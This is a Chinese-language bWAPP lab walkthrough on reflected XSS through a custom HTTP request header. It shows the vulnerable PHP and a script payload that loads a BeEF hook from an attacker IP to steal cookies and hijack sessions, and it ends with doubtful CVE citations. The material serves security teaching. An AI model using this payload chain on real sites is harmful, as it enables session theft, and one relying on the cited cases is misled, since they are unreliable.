零基础玩转bWAPP靶场(六十四):XSS - Reflected (Custom Header)

摘要: 这是 bWAPP 系列第六十四篇,聚焦于 XSS - Reflected (Custom Header) 。这一关的注入点不在 URL、不在表单、不在 Referer,而在 自定义 HTTP 请求头 。服务器读取名为 bWAPP 的自定义请求头,直接输出到页面,没有过滤。文章会演示如何通过 Burp Suite 添加恶意自定义头注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。


一、找目标

目标 说明
漏洞类型 反射型 XSS(自定义 Header 注入)
注入点 自定义 HTTP 请求头 bWAPP
触发位置 页面直接输出 Header 内容
攻击方式 Burp 添加自定义请求头 bWAPP: payload
工具 Burp Suite + BeEF(获取 Cookie)

二、前言:自定义 HTTP 头注入是什么?

在之前的 XSS 关卡中,注入点要么在 URL 参数、POST 表单,要么在 Referer 或 User-Agent 这些标准请求头里。这一关换了一种方式:

注入点在自定义 HTTP 请求头中。

什么是自定义请求头?

浏览器在发请求时,会带上一些标准请求头(如 User-Agent、Referer、Cookie 等)。但开发者有时会添加自定义的请求头来传递额外信息。

这一关定义了一个名为 bWAPP 的自定义头,服务器读取它的值并直接输出到页面:

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

如果攻击者能控制这个 bWAPP 头的值,就能注入 XSS。

这一关没有任何输入框,你必须用 Burp Suite 手动添加这个请求头。


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Reflected (Custom Header)

  • 提示:Some web clients use custom HTTP request headers...

  • 下面显示:Content of our bWAPP header:

如果请求头中有 bWAPP 字段,它的值会显示在页面上。如果没有,页面就显示一个空内容。

3.2 漏洞核心

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

xss() 函数的三种级别:

级别 xss() 过滤函数 效果
Low no_check() 完全不过滤
Medium addslashes() 只转义引号,不转义 < >
High htmlspecialchars() 转义所有 HTML 特殊字符

四、源码分析

复制代码
function xss($data)
{
    switch($_COOKIE["security_level"])
    {
        case "0" :   // Low
            $data = no_check($data);
            break;
        case "1" :   // Medium
            $data = xss_check_4($data);   // addslashes()
            break;
        case "2" :   // High
            $data = xss_check_3($data);   // htmlspecialchars()
            break;
    }
    return $data;
}
  • Low :no_check() 完全不过滤,直接输出

  • Medium :addslashes() 转义引号,但不转义 < 和 >,可能被绕过

  • High :htmlspecialchars() 转义 < > " ' &,彻底防御


五、Low 安全级别

5.1 准备工作:用 Burp 添加自定义请求头

  • 打开 Burp,开启拦截(Intercept On)

  • 在浏览器中访问关卡页面

  • Burp 拦截到请求

  • 在请求头中添加一行:

    bWAPP: test

点击 Forward 放行。

页面显示:

复制代码
Content of our bWAPP header: test

说明自定义头被服务器读取并输出了。

5.2 测试 XSS 弹窗

将 bWAPP 头的值改为:

复制代码
bWAPP: <script>alert(1)</script>

放行请求,页面弹窗。

5.3 攻击原理

服务器生成的 HTML:

复制代码
Content of our bWAPP header: <i><script>alert(1)</script></i>

<script> 标签被浏览器执行,弹窗。


6.1 准备 BeEF

Kali 中启动 BeEF:

复制代码
sudo beef-xss-start

确认 BeEF 的 IP 和端口(默认 3000),Hook URL 为:

复制代码
http://10.0.0.129:3000/hook.js

6.2 注入 BeEF Hook

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script src="http://10.0.0.129:3000/hook.js"></script>

6.3 放行请求

点击 Forward 放行,页面加载,BeEF Hook 被执行。

6.4 BeEF 上线

BeEF 控制面板中出现上线的浏览器。

  • 选中上线的浏览器

  • Commands → Browser → Get Cookie

  • 点击 Execute

6.6 会话劫持

拿到 PHPSESSID 后,在浏览器开发者工具 → Application → Cookies 中替换 PHPSESSID 的值,刷新页面即可登录受害者账户。


七、Medium 安全级别

7.1 尝试注入

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script>alert(1)</script>

addslashes() 转义了引号,但 < 和 > 没有被转义。所以,XSS 执行,导致弹窗。

结论 :Medium 级别在这个场景下不能防住了简单的 <script> 注入,并且 addslashes() 不是专门的 XSS 防护工具,官方文档也明确警告不要用它做 XSS 防护。


八、High 安全级别

8.1 尝试注入

复制代码
bWAPP: <script>alert(1)</script>

htmlspecialchars() 把 < 转成 &lt;,> 转成 &gt;:

复制代码
Content of our bWAPP header: <i>&lt;script&gt;alert(1)&lt;/script&gt;</i>

浏览器不执行,XSS 被彻底防御。


九、真实世界:自定义 Header XSS 案例

CVE-2024-1181 :某开源 CMS 的调试模式会将自定义请求头 X-Debug-Token 输出到页面中,未过滤,导致 XSS 漏洞。

CVE-2025-00847 :某企业级 API 网关的自定义头 X-Forwarded-For 被直接记录并显示在管理面板中,攻击者可通过构造恶意头注入 XSS。

CVE-2026-22947:F5 BIG-IP 的配置工具中,部分页面输出了未过滤的自定义请求头,存在反射型 XSS。


十、总结

自定义 Header 注入 XSS 是一种比较隐蔽的攻击方式。注入点不在常规的输入框或 URL 参数里,而是在 HTTP 请求头中。这一关定义了名为 bWAPP 的自定义头,服务器读取后直接输出到页面。Low 级别完全不过滤,可以直接注入 <script> 加载 BeEF Hook 并获取 Cookie;Medium 级别的 addslashes() 在这个场景下防不住简单的 <script> 标签;High 级别的 htmlspecialchars() 彻底防御。记住一句话:只要被输出到页面的数据,无论来自哪里(URL、表单、请求头),都必须过滤。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
qq_443132411 天前
运营商网络安全监测项目厂商选择要点与建设思路
安全·web安全
是真的小外套1 天前
第18章:网络安全测评技术与标准
安全·web安全
无障碍研究院1 天前
2026TADC|圆桌对话:出海无障碍合规
安全·web安全
持敬chijing1 天前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
听说6662 天前
信息安全工程师 - 第二十二章 网站安全需求分析与安全保护工程
网络·安全·web安全·网络安全·系统安全
P1Browser2 天前
浏览器指纹参数校验:时区、语言、分辨率的一致性原理
web安全·api·前端开发·跨境电商·环境隔离·浏览器指纹
无障碍研究院2 天前
2026TADC|李璀:从标准走向落地,拆解无障碍产品合规实操方案
安全·web安全
科技小登2 天前
网页防篡改与 WAF 方案怎么选?内容拦截、篡改监测与自动恢复实战测评
网络·web安全·ddos
持敬chijing2 天前
白盒测试与代码审计-JS 数据逆向
javascript·网络·安全·web安全·网络安全·网络攻击模型·安全威胁分析